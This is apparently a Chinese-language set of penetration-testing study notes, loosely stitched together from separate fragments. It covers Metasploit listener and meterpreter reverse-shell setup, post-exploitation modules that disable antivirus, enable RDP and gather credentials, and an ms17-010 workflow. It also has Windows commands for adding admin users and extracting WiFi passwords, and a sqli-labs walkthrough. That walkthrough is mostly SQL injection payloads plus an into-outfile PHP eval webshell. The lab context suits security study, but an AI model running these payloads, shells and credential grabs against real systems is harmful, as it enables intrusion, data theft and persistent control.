use auxiliary/scanner/portmap/portmap_amp use auxiliary/scanner/portscan/ftpbounce use auxiliary/scanner/portscan/tcp use auxiliary/scanner/portscan/ack use auxiliary/scanner/portscan/syn use auxiliary/scanner/portscan/xmas
use exploit/multi/handler 使用这个监听模块 set payload windows/x64/meterpreter/reverse_tcp #注意这要和生成的木马保持一致 set lhost kali的ip #设置本地地址要和木马一致 set lport 端口号 #设置本地侦听端口和木马一致 run #执行
最重要的payload设置
将生成的木马1.exe上传到win7然后执行
kali的msf后台上线,进入shell了
后渗透模块(post)
以下命令是在反弹shell成功后运行
run post/windows/gather/checkvm #检查目标是否虚拟机 run post/linux/gather/checkvm run post/windows/manage/killav #关闭杀软 run post/windows/manage/enable_rdp #开启目标远程桌面 run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户 run post/windows/gather/enum_applications #列举应用程序 run windows/gather/credentials/windows_autologin#列举自动登陆的用户名和密码
#进入msf msfconsole #使用search查找相关漏洞 search ms17-010 #使用use进入模块 use 数字 #使用info查看模块xinxi info #设置poc连接方式 set payload windows/x64/meterpreter/reverse_tcp #查看模块需要配置的参数 show options #设置参数 set RHOST 地址 #攻击 exploit / run #回退 back
1.单独运行一个漏洞平台 cd到要运行的漏洞平台下运行以下命令 cd vulstudy/DVWA docker-compose up -d #启动容器 docker-compose stop #停止容器
2.同时运行所有漏洞平台 在项目根目录下运行以下命令 cd vulstudy docker-compose up -d #启动容器 docker-compose stop #停止容器
为什么docker-compose build是可选的? docker-compose up -d运行后,会自动查找当前目录下的配置文件。如果配置文件中包含的环境均已经存在,则不会再次编译;如果配置文件中包含的环境不存在,则会自动进行编译。所以,其实docker-compose up -d命令是包含了docker-compose build的。如果更新了配置文件,你可以手工执行docker-compose build来重新编译靶场环境。
查看启动环境 docker-compose ps -a
在环境目录里输入下面停止运行 docker-compose down
进入docker镜像的命令 首先查看id docker ps -a 进入镜像 docker exec -it id bash 源码在app下
dir 打开目录 move移动文件 盘的格式:盘符名:\目录\名字 ren 重命名文件名 直接将文件位置写出来再将新命名的文件加到最后 replace 替换文件 copy命令用来复制文件 源文件地址 新文件地址 xcopy复制文件夹 /e 全部复制 /c终止 ping 网络连接 ping localhost 或者127.0.0.1 检测本地TCP/IP连接是否正常 ping 网关检查网络是否正常 ping 外网检测网络是否正常 pathping路由追踪 ipconfig获取本机地址/all更详细 gpedit 网络编辑器用来提升网络带宽限制设置小点 看网络环境有可能无影响 ipconfig /flushdns 刷新dns缓存 快速打开一个网站 netsh interface tcp show global 查阅活动状态 netsh interface tcp set global autotuninglevel =normal 接收窗口自动自动调节级别为正常 net user 名 密码/add添加管理员 ner user 名 /del删除管理员 net localgroup administrators 名 /add 提权 telnet还没开启 net start telnet net localgroup administrators添加到控制远程桌面 mstsc 远程控制窗口 cd 进入一个文件夹 mkdir创建一个文件夹 rmdir删除一个目录 批处理将一些命令写在文档里然后更改文件后缀为.bat 合并文件 copy /b以二进制合并 文件名+文件名 生成文件名 删除文件del 名 文件捆绑iexpress未学会产生的.exe文件无法运行的问题 ie主页的修改还没有学会代码太长 cmd进入管理员命令提示符的方法runas /user:adminisitrator 一分钟自动关机问题修复 netsh winsock rese 可以解决 administrator找回 (超级管理员使超级管理员可用)net user administrator/active :yes 将磁盘格式从fat32改为ntfs convert D:fs:ntfs 全y
第一条 netsh wlan show profiles 第二条netsh wlan show profile name="wifi名称"key=clear 获取WiFi密码 { 清除无法格式化的u盘 disk part 提示相关版本号和信息,打开此工具 list disk 查看你的u盘 selecdisk 3 显示磁盘三现在是所选磁盘 claen 清除u盘 } 运行窗口下输入control 打开系统自带的卸载工具 批处理编程教学http://www.cnblogs.com/phyllis/archive/2011/05/19/2051131.html http://blog.csdn.net/windone0109/article/category/479067 cmd变量:使用set来定义变量:set 变量名=值; 使用 set 变量名= (空)来删除定义的变量 set /a 是用来进行运算的 set /p用来接收用户键盘输入的 人机交互 用set可以来写脚本文件.bat后缀的文件 echo cmd中的打印 用法 echo %变量名% setx path “%path%:文件夹路径”设置永久变量 @echo off 关闭回显 attrib +h/-h +加文件名(+隐藏-取消隐藏) diskpart 磁盘 list disk看磁盘信息 chkdsk命令来检查和修复硬盘 detail详细信息 set id =一个命令参数可以隐藏磁盘 >nul重定义到空不会显示信息 wget 下载网络资源 gpedit网络带宽设小一点 ipconfig /flushdns重新刷新缓存 netsh intface tcp show global 查询tcp信息 netsh intface tcp show global autotuninglevel=normal 设为正常
cmd清理磁盘垃圾:del删除文件 rd删除文件加 写bat文件 cmd解决系统故障:系统文件缺失 被病毒或误删 system windos 系统文件不去修改 重装系统获取拷贝缺失文件 sfc /?系统文件缺失解决 里面有修复功能 windos下log下cbs里面有系统故障的日志 管理员权限下 需重启 强制关机会对磁盘造成损伤:chkdsk检测盘符内的相关信息查看错误情况 /f修复 /r恢复可读信息 convert可以将磁盘格式转化为ntfs:convert 盘: /fs diskpart 分区格式化磁盘 compmgmt查看计算机管理 net share查看共享并且删除 死亡之ping 拒绝服务攻击 不断地发送很大的数据包对服务器 /l发送很大的数据包 /t不断发送 if /i 不区分大小写 &如果前面运行成功就执行后面的语句 if exist 文件 用来判断是否存在这样一个文件(echo )else(echo ) if define 用来判断是否存在一个这样的变量(echo )else(echo ) 当运用定义的变量时要用%%引起来使用 echo 回显 (echo 返回的值)会将值显示在屏幕上 pause >nul;批处理停止 set /p 和用户交互 type nul>文件名创建一个空文件(要写类型) dos界面的for循环 用一个%引用变量 而批处理需要两个在第二个百分号后写变量名 for %%i in(范围)do 执行的命令 (echo %%i) 通配符* 范围前要加in for /l %%变量 in(起始值 间隔值 结束值)do 执行语句
暴数据库表'or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1)--+
暴字段'or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users'),0x7e),1)--+
暴值'or updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)--+
使用floor函数进行报错注入 暴库' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand()*2))x from information_schema.tables group by x --+ 暴表' union select 1,count(*),concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+ 暴字段' union select 1,count(*),concat(0x7e,(select (column_name)from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x--+ 暴值' union select 1,count(*),concat(0x7e,(select (username)from users limit 0,1),0x7e,floor(rand()*2))x from information_schema.tables group by x --+
使用盲注的方法 这里可以尝试使用盲注使用left函数 1' and left((select database()),1)='a' --+ 这里如果正确显示you are in 错误就没有回显
我们已经知道是security尝试一下s
s成功返回了you are in 然后我们将left函数中的1改为2,因为已经确定了第一位,就来确定第二位
依此类推,就能推出我们需要的信息,但是步骤繁琐我们可以使用burp暴力破解。
成功暴破
less - 6 - get -double injection - double quotes - String(双注入get双引号字符型注入)
当我们输入单引号时发现不报错,输入双引号报错,根据报错信息我们可以判断为字符型注入,闭合方式为”.
其余的步骤和第五关完全一致只不过单引号闭合变为双引号闭合
less - 7 - get - dump into outfile - String(导出文件get字符型注入)
同注入的方式写入一句话到文件中payload')) union select 1,2,"<?php @eval($_POST['cmd']);?>" into outfile "C:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\shell.php" --+
然后使用蚁剑连接
也可以使用前边第五关的方法盲注或者报错注入的方法也能进行只不过闭合方式变一下
less - 8 get - blind - boolian based - singl quotes(布尔型单引号get盲注)
测试单引号,闭合没有回显,没有报错回显说明报错注入不合适
正确语句you are in 错误无回显,只能使用布尔盲注了
测试方式和第五关类似语句猜解数据库名' and ascii(substr(database(),1,1))>114 --+
说明是ascii码为115小写s 一次类推更换database就可以获取其他信息。 猜数据库表名1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))=117(?) --+
也可以使用时间盲注语句1' and if(substr(database(),1,1)='a',sleep(5))--+
less - 9 - blind - time based. - single quotes(基于时间的get单引号盲注)
尝试各种闭合后回显都一样且没有任何报错信息,查看第九关的源码可以发现是单引号闭合
使用单引号闭合,然后尝试时间盲注1' and if(length(database())=8,sleep(5),null)--+
其他操作和上一关的盲注类似。
less - 10 - blind - time based - double quotes(基于时间的型双引号盲注)
查看源码可以看到是双引号闭合
其余和第九关相同尝试一波1" and if(length(database())=8,sleep(5),null)--+
less - 11 - error based - single quotes -string(基于错误的post型单引号字符型注入)
尝试admin登录发现回显:
加单引号尝试注入发现报错,
构造语句判断是字符型注入
通过order by 猜字段数
查看回显位置
获取数据信息
post型注入可以使用sqlmap抓个包然后跑包,或者使用–data参数指定注入跑
less - 12 - post - error based - double quotes -string - with twist(基于错误的双引号post型字符型变形的注入)
通过简单测试,发现闭合方式为”)
在对其进行post注入时改一下闭合方式其余同lesss11,也可以使用报错注入类似于第五关
less - 13 - double injecion - single quotes -string - twist(post单引号变形双引号注入)
加上单引号发现闭合形式为’)
修改闭合方式使用第12关的报错注入,或者使用基于时间的盲注。
less - 14 - post - double injection - single quotes - string -twist (post单引号变形双注入)
在这里加单引号无变化,加双引号报错发现闭合方式为双引号闭合,在这里可以使用报错注入,或者盲注
less - 15 - post - blind/time based -single quotes(基于bool型/时间延迟单引号型post注入)
查看源码可以发现是单引号闭合,需要注意的点是通过返回的图片内容判断是否正确
使用时间盲注或者布尔盲注这里演示布尔盲注
获取数据库名
时间盲注
错误反应很快,正确加载很慢
less - 16 -post -blind/time based -double quotes(基于boole/时间延迟的双引号post型盲注)
id=-1' union select 1,version(),database() ' -1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='security') ' -1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='emails') ' -1' union select 1,2,(select group_concat(email_id) from emails) '
less - 24 second degree injection real treat - store injections(二次注入)
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段